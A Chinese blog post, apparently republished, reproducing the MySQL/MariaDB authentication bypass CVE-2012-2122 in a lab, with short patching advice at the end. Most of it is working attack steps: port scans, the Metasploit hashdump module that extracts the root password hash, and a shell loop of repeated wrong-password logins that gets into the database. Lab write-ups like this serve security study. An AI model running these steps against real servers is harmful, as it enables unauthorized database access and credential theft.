Mysql身份认证绕过漏洞(CVE-2012-2122)复现
Posted 君莫hacker
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Mysql身份认证绕过漏洞(CVE-2012-2122)复现相关的知识,希望对你有一定的参考价值。
0x01 漏洞介绍
-
漏洞描述
当连接MariaDB/mysql时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。 -
漏洞编号
CVE-2012-2122 -
受影响版本
数据库 | 版本 |
---|---|
MariaDB | 5.1.62, 5.2.12, 5.3.6, 5.5.23 |
MySQL | 5.1.63, 5.5.24, 5.6.6 |
0x02 环境部署
搭建一次,复现百次
靶机 ip:192.168.30.209
kali ip:192.168.30.182
0x03 漏洞复现
方法一:msf
1. 使用nmap扫描
使用nmap 对靶机进行扫描,查看所开放的端口,以及扫描数据库的版本信息
masscan --rate=10000 --ports 0-65535 192.168.30.209
nmap -T4 -sV -O -p 3306 192.168.30.209
发现目标主机开放端口3306
并且是mysql数据库,对应版本版本为5.5.23,可以对其尝试进行身份认证绕过操作
2. 配置msf参数,对靶机进行攻击
#启动msf
┌──(root💀kali)-[~/桌面]
└─# msfconsole
#选择需要使用的模块
msf6 > use auxiliary/scanner/mysql/mysql_authbypass_hashdump
#查看选项
msf6 auxiliary(scanner/mysql/mysql_authbypass_hashdump) > show options
Module options (auxiliary/scanner/mysql/mysql_authbypass_hashdump):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 3306 yes The target port (TCP)
THREADS 1 yes The number of concurrent threads (max one per host)
USERNAME root yes The username to authenticate as
#配置参数
msf6 auxiliary(scanner/mysql/mysql_authbypass_hashdump) > set rhosts 192.168.30.209
rhosts => 192.168.30.209
msf6 auxiliary(scanner/mysql/mysql_authbypass_hashdump) > set threads 20
threads => 20
#运行
msf6 auxiliary(scanner/mysql/mysql_authbypass_hashdump) > exploit
我们可以看到已经罗列出来经MD5加密的root用户密码
3. 在网站进行解密
4. 远程连接mysql数据库
mysql -h 192.168.30.209 -u root -p123456
连接成功
方法二:执行脚本
在终端运行命令
for i in `seq 1 1000`; do mysql -uroot -pwrong -h 192.168.30.209 -P3306 ; done
直接拿下数据库,复现成功
0x04 漏洞修复
-
对数据库进行升级打补丁
-
在防火墙上关闭mysql端口
以上是关于Mysql身份认证绕过漏洞(CVE-2012-2122)复现的主要内容,如果未能解决你的问题,请参考以下文章
mysql (3306/tcp) 通过0长度密码绕过MySQL认证 漏洞利用
Vulhub-Mysql 身份认证绕过漏洞(CVE-2012-2122)
Vulhub-Mysql 身份认证绕过漏洞(CVE-2012-2122)
Vulhub-Mysql 身份认证绕过漏洞(CVE-2012-2122)